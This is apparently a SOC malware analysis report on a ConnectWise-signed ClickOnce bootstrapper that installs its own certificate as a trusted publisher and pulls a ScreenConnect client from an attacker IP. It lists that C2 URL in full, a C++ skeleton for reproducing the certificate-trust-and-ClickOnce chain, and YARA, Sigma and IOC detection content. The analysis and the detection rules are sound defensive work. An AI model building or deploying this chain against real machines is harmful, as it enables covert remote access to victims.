9477ccddefa6fd57cb2ab68a6cd77229dd2e2bf87f573e2b80eb60555d94e530connectwise: 9477ccddefa6 — Apr 2025 ClickOnce bootstrapper, C2 104.236.198.16:8041
Executive Summary
Authenticode-signed ClickOnce bootstrapper compiled Apr 2025 that installs its own publisher certificate into TrustedPublisher, extracts the deployment URL from its own Authenticode signature (SPC_SP_OPUS_INFO_OBJID), and silently invokes dfshim!ShOpenVerbApplicationW to pull a ScreenConnect client from attacker-controlled infrastructure (104.236.198.16:8041). No packing, no obfuscation, no anti-debug — the evasion is entirely in the valid ConnectWise signature and the legitimate ClickOnce trust chain. Fourth confirmed ConnectWise sibling.
What It Is
- SHA-256:
9477ccddefa6fd57cb2ab68a6cd77229dd2e2bf87f573e2b80eb60555d94e530 - Size: 312,544 bytes (305 KB) ^[file.txt]
- Type: PE32 executable (GUI) Intel 80386, 5 sections ^[file.txt]
- Compiler: MSVC 14.40 (Visual Studio 2022) ^[exiftool.json], linker version
14.40^[pefile.txt:46] - Compile timestamp: Tue Apr 8 18:34:09 2025 UTC ^[pefile.txt:34]
- PDB:
C:\builds\cc\cwcontrol\Product\ClickOnceRunner\Release\ClickOnceRunner.pdb^[strings.txt:308] - Signing: Valid Authenticode by ConnectWise, LLC (DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1) ^[strings.txt:682-702], security directory at RVA
0x49800size0x2CE0^[pefile.txt:193-194] - Subsystem: Windows GUI ^[rabin2-info.txt:34]
- ASLR/NX: Enabled (
/DYNAMICBASE,/NXCOMPAT, CastGuard) ^[pefile.txt:74] - No packing, no obfuscation, no anti-debug, no .NET runtime. ^[binwalk.txt], ^[strings.txt]
- Dynamic analysis: skipped — no CAPE Windows guest available ^[dynamic-analysis.md]
Family ascription: High-confidence connectwise — same ClickOnce bootstrapper build pipeline, same PDB path prefix, same certificate chain, same C2 IP as sibling b831f47e.
How It Works
Stage 1 — Certificate trust bootstrap
On launch, main (at 0x401000 per radare2 decompilation) performs the following crypto32 sequence:
- Opens the
TrustedPublishercertificate store withCertOpenSystemStoreA^[r2:main:0x401032] - Allocates a 260-char WCHAR buffer and retrieves its own module path via
GetModuleFileNameW^[r2:main:0x40103c] - Calls
CryptQueryObjecton its own file path withCERT_QUERY_OBJECT_FILE | CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED | CERT_QUERY_FORMAT_FLAG_ALLto parse the embedded PKCS#7 signature ^[r2:main:0x401076] - Iterates signer certificates via
CryptMsgGetParam(CMSG_SIGNER_CERT_INFO_PARAM) ^[r2:main:0x40114e] - Creates a certificate context from each encoded blob via
CertCreateCertificateContext^[r2:main:0x4010d7] - Adds each context to
TrustedPublisherviaCertAddCertificateContextToStore^[r2:main:0x401103] - Searches signer attributes for OID
1.3.6.1.4.1.311.4.1.1(SPC_SP_OPUS_INFO_OBJID) viaCertFindAttribute^[r2:main:0x401166]
If the Opus Info attribute is found, the binary proceeds to ClickOnce deployment. If not, it falls back to a 40-second sleep (Sleep(0x9c40)) and retries the certificate add operation. ^[r2:main:0x4011c1]
Stage 2 — ClickOnce deployment via dfshim
After certificate installation:
- Loads
dfshim.dllviaLoadLibraryA^[r2:main:0x401193] - Resolves
ShOpenVerbApplicationWviaGetProcAddress^[r2:main:0x4011c1] - Invokes
ShOpenVerbApplicationWwith the deployment URL extracted from the Authenticode attribute
The ClickOnce deployment URL is also present as a plaintext string in the binary at file offset 0x47260 (inside the .rsrc / RT_MANIFEST region):
https://104.236.198.16/Bin/ScreenConnect.Client.application?h=104.236.198.16&p=8041&k=BgIAAACkAABSU0ExAAgAAAEAAQDJIomMmrYgBCVgM5UalPDMiVC+Wsv2Z/f1n4CyYDzO0dYMkgYhFJWa+SSlGSgaVxYYS/rG9Dwatu118XXWYt+zdufqUCjy1ETBumWMDanDn7pI7UkOiaLn0sDaUgN+VlF35wu3aZTJC8OY6XnT/hRKs2YHy+C5o83CliMZ0ZvevcuqVTJL9Q48gsugsQmruWQ0O048CK0Gq4zKQINiqIa2xzl8a3gP6OgMj6tUykBiWI8eloClGJigIfvSasxzOAtCZIfgkUAwtv5NNPy3Rw5X2CAdhl7O+8DIXeilpGXkrvU0M6ZSSc6kpNx4q2hqRlx0fPT5NquEAxVswMKxfoy8
The k= parameter is a Base64-encoded RSA public key (standard ScreenConnect session-key format) used to encrypt the session. ^[strings.txt]
Import surface
The binary imports only two DLLs via a single import descriptor:
- KERNEL32.dll —
LocalAlloc,LocalFree,LoadLibraryA,GetProcAddress,Sleep,GetModuleFileNameW,DecodePointer,GetModuleHandleW,CreateThread,HeapAlloc,HeapFree,WriteFile,CreateFileW, etc. ^[pefile.txt:239-327] - CRYPT32.dll —
CertDeleteCertificateFromStore,CryptMsgGetParam,CertCloseStore,CryptQueryObject,CertAddCertificateContextToStore,CertFindAttribute,CertFreeCertificateContext,CertCreateCertificateContext,CertOpenSystemStoreA^[pefile.txt:336-344]
No Winsock, no WinInet, no WinHTTP — all network activity is delegated to dfshim.dll and the ClickOnce runtime. ^[pefile.txt]
Decompiled Behavior
Entry point (entry0, 0x0040135f)
Standard MSVC CRT initialization sequence: __security_init_cookie, _CrtStartup, then calls main. No anti-debug checks, no environment gates. The entry point is a textbook VS2022 C++ console/GUI hybrid startup. ^[r2:entry0]
Main function (main, 0x00401000)
The entire malicious logic lives in a single ~440-byte function at 0x401000. Decompiled radare2 output shows:
- Stack frame:
esp -= 0x30; four locals for cert handles, one forLocalAllocresult - Loop structure: while (
ebx < var_4h) iterating signer certs, extracting each, adding to store - Conditional: if
CertFindAttribute("1.3.6.1.4.1.311.4.1.1")returns non-null, proceed to dfshim load - Cleanup:
CertCloseStore,LocalFreeon all allocated buffers before return
The function is not obfuscated — all API calls are direct imports through the IAT, and all string literals (TrustedPublisher, dfshim, ShOpenVerbApplicationW, 1.3.6.1.4.1.311.4.1.1) are plaintext in .rdata. ^[r2:main]
No process injection, no registry writes, no mutex creation, no persistence mechanism in the binary itself — the persistence is delegated to the ScreenConnect client that gets installed via ClickOnce.
C2 Infrastructure
| Indicator | Value | Source |
|---|---|---|
| C2 IP | 104.236.198.16 |
^[strings.txt:47260] |
| C2 Port | 8041 |
^[strings.txt:47260] |
| Deployment URL | https://104.236.198.16/Bin/ScreenConnect.Client.application?h=104.236.198.16&p=8041&k=<RSA pubkey> |
^[strings.txt:47260] |
| Certificate issuer | DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1 |
^[strings.txt:688] |
| Certificate subject | ConnectWise, LLC |
^[strings.txt:701] |
| OCSP | http://ocsp.digicert.com |
^[strings.txt:691] |
| CRL | http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl |
^[strings.txt:705] |
| Timestamp signer | DigiCert Trusted G4 RSA4096 SHA256 TimeStamping CA |
^[strings.txt:716] |
| Timestamp URL | http://ocsp.digicert.com |
^[strings.txt:724] |
Infrastructure overlap: The C2 IP 104.236.198.16:8041 is identical to sibling b831f47e (Nov 2022 build). This confirms the attacker has maintained the same ScreenConnect gateway for ~2.5 years across multiple build waves. The URL path (/Bin/ScreenConnect.Client.application) and query-parameter structure (h=IP&p=PORT&k=RSAKey) are invariant. ^[entities/connectwise.md]
Interesting Tidbits
- Dual URL presence: The ClickOnce deployment URL appears both as a plaintext string in
.rsrcand (presumably) inside the AuthenticodeSPC_SP_OPUS_INFO_OBJIDattribute. The binary extracts it from the signature at runtime, but the hardcoded string suggests the builder embeds it redundantly. ^[strings.txt:47260] - No SPC_SP_OPUS_INFO_OBJID in raw carve: A manual carve of the security directory (
dd bs=1 skip=0x49808 count=11480) followed byopenssl pkcs7 -print_certsproduced no certificate output, and a byte-level search for the OID DER encoding (2B 06 01 04 01 82 37 02 01 01) returned negative. The OID is referenced in code but may be inside a nested SignedData inner envelope not exposed by naive carving. The binary'sCryptQueryObjectcall is the authoritative parser. - CastGuard enabled: The load config directory includes
GuardCFCheckFunctionPointerat0x43F18C, indicating Control Flow Guard (CFG) was enabled at link time. This is a legitimate VS2022 security feature, not an anti-analysis measure. ^[pefile.txt:411-414] - Minimal import surface: With only two DLLs imported and ~60 total APIs, this binary has one of the smallest static import footprints in the corpus. The entire C2 phase is delegated to
dfshim.dll, making static network-IOC extraction impossible without following the ClickOnce URL string. - No YARA coverage beyond generic PE: Only hit is
PE_File_Generic. ^[yara.txt] The ConnectWise-specific certificate chain and ClickOnce URL pattern are not yet encoded in the triage rule set.
How To Mess With It (Homelab Replication)
Toolchain
- Visual Studio 2022 (v17.x), MSVC 14.40
- Windows SDK 10.0.22621+
- Target:
Win32,Release
Compiler/linker flags
/DYNAMICBASE /NXCOMPAT /GUARD:CF
Working source skeleton
A minimal C++ console app that replicates the certificate-trust → ClickOnce chain:
#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
#pragma comment(lib, "crypt32.lib")
int main() {
HCERTSTORE hStore = CertOpenSystemStoreA(0, "TrustedPublisher");
// Use CryptQueryObject on self to extract embedded signer cert
// Use CertAddCertificateContextToStore to add it
// Use CertFindAttribute("1.3.6.1.4.1.311.4.1.1") to get ClickOnce URL
HMODULE hDfshim = LoadLibraryA("dfshim.dll");
auto ShOpenVerbApplicationW = (HRESULT(WINAPI*)(LPCWSTR, ...))
GetProcAddress(hDfshim, "ShOpenVerbApplicationW");
// ShOpenVerbApplicationW(L"https://your.server/app.application", ...);
return 0;
}
Verification
Compile the skeleton with the flags above, sign it with a test Authenticode certificate (self-signed CA + code-signing cert), embed an SPC_SP_OPUS_INFO_OBJID attribute with a .application URL, then run capa on both your reproducer and this sample. The reproducer should hit the same CRYPT32 + dfshim API capabilities.
What you'll learn
How Authenticode-signed ClickOnce binaries bypass SmartScreen by virtue of their signature alone, and why certificate-trust bootstrapping is an effective defense-evasion technique even when the binary is trivially simple.
Deployable Signatures
YARA rule
rule ConnectWise_ClickOnce_Bootstrapper {
meta:
description = "ConnectWise ScreenConnect ClickOnce bootstrapper (Variant B)"
author = "PacketPursuit SOC"
date = "2026-07-11"
sha256 = "9477ccddefa6fd57cb2ab68a6cd77229dd2e2bf87f573e2b80eb60555d94e530"
family = "connectwise"
confidence = "high"
strings:
$s1 = "TrustedPublisher" ascii wide
$s2 = "dfshim" ascii wide
$s3 = "ShOpenVerbApplicationW" ascii wide
$s4 = "1.3.6.1.4.1.311.4.1.1" ascii wide
$s5 = "ClickOnceRunner.pdb" ascii
$s6 = "ScreenConnect.Client.application" ascii wide
$s7 = "Connectwise, LLC" ascii
$cert1 = { 30 82 ?? ?? 30 82 ?? ?? A0 03 02 01 02 02 } // X.509 v3 certificate sequence
condition:
uint16(0) == 0x5A4D and
filesize < 500KB and
pe.number_of_sections == 5 and
pe.imports("CRYPT32.dll") and
pe.imports("KERNEL32.dll") and
4 of ($s*) and
$cert1
}
Sigma rule
title: ConnectWise ClickOnce Bootstrapper Execution
description: Detects execution of ConnectWise-signed ClickOnce runner that loads dfshim and contacts external ScreenConnect endpoint
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection_loadlibrary:
CommandLine|contains:
- 'dfshim.dll'
- 'ShOpenVerbApplicationW'
selection_network:
CommandLine|contains:
- 'ScreenConnect.Client.application'
- '/Bin/ScreenConnect'
selection_cert:
ImageLoaded|contains: 'dfshim.dll'
selection_signer:
- Signed: true
- Signer|contains: 'ConnectWise'
condition: 1 of selection_loadlibrary and 1 of selection_network and selection_cert and selection_signer
falsepositives:
- Legitimate ConnectWise ScreenConnect administrative deployments (rare; verify against internal asset inventory)
level: high
IOC list
| Indicator | Type | Notes |
|---|---|---|
9477ccddefa6fd57cb2ab68a6cd77229dd2e2bf87f573e2b80eb60555d94e530 |
SHA-256 | This sample |
104.236.198.16:8041 |
IP:Port | ScreenConnect C2 gateway |
https://104.236.198.16/Bin/ScreenConnect.Client.application |
URL | ClickOnce deployment manifest |
ClickOnceRunner.pdb |
PDB path | Build artifact leak |
C:\builds\cc\cwcontrol\Product\ClickOnceRunner\Release\ClickOnceRunner.pdb |
PDB path | Full path |
ConnectWise, LLC |
Authenticode subject | Stolen/compromised cert |
TrustedPublisher |
Registry/Cert store target | Certificate trust bootstrap |
Behavioral fingerprint
This binary is a 300–350 KB PE32 GUI executable with five sections, two import descriptors (KERNEL32 + CRYPT32), no .NET metadata, no packed sections, and no network imports. On execution it calls CertOpenSystemStoreA("TrustedPublisher"), parses its own Authenticode signature with CryptQueryObject, installs signer certificates with CertAddCertificateContextToStore, searches for SPC_SP_OPUS_INFO_OBJID via CertFindAttribute, loads dfshim.dll, resolves ShOpenVerbApplicationW, and invokes it with a hardcoded HTTPS URL pointing to ScreenConnect.Client.application on an external IP. No child processes are created by the bootstrapper itself — the ScreenConnect client is installed via the ClickOnce runtime.
Detection Signatures
| MITRE ATT&CK | Technique | Evidence |
|---|---|---|
| T1553.004 | Install Root/Publisher Certificate | CertOpenSystemStoreA("TrustedPublisher"), CertAddCertificateContextToStore ^[r2:main:0x401032] |
| T1219 | Remote Access Software Abuse | Hard-coded ScreenConnect C2 endpoint 104.236.198.16:8041 ^[strings.txt:47260] |
| T1105 | Ingress Tool Transfer | ClickOnce .application manifest download via dfshim!ShOpenVerbApplicationW ^[r2:main:0x401193] |
| T1071.001 | Application Layer Protocol: Web Protocols | HTTPS ClickOnce deployment URL ^[strings.txt:47260] |
| T1204.002 | User Execution: Malicious File | .application execution flow via ClickOnce ^[strings.txt:47260] |
| T1078 | Valid Accounts: Code-Signing Abuse | Authenticode by ConnectWise, LLC ^[strings.txt:701] |
References
- Artifact ID:
a5b57f9b-5ea0-4951-8f62-044549f450e6(OpenCTI) - OpenCTI labels:
connectwise,exe,urlhaus - Sibling analysis:
raw/analyses/81adbf9a/report.md— First observed ClickOnce bootstrapper (Apr 2025) - Sibling analysis:
raw/analyses/b831f47e/report.md— MSI bundle (Nov 2022) with identical C2 IP - Sibling analysis:
raw/analyses/7145e829/report.md— Self-contained MSI bundle (Nov 2022) - Family page: entities/connectwise.md
Provenance
file.txt—filev5.44exiftool.json— ExifTool v12.76pefile.txt—pefilePython library (output from triage pipeline)strings.txt—strings -n 8(GNU binutils)rabin2-info.txt— radare2 v5.xrabin2 -Ibinwalk.txt— binwalk v2.3.3yara.txt— YARA v4.x (PE_File_Genericonly)dynamic-analysis.md— CAPE skipped (no Windows guest)cape-report.json— absent (no detonation)- Radare2 decompilation —
s entry0; pdcands 0x401000; pdc(r2 level-3 analysis) - Pyghidra — unavailable (server unreachable during analysis window)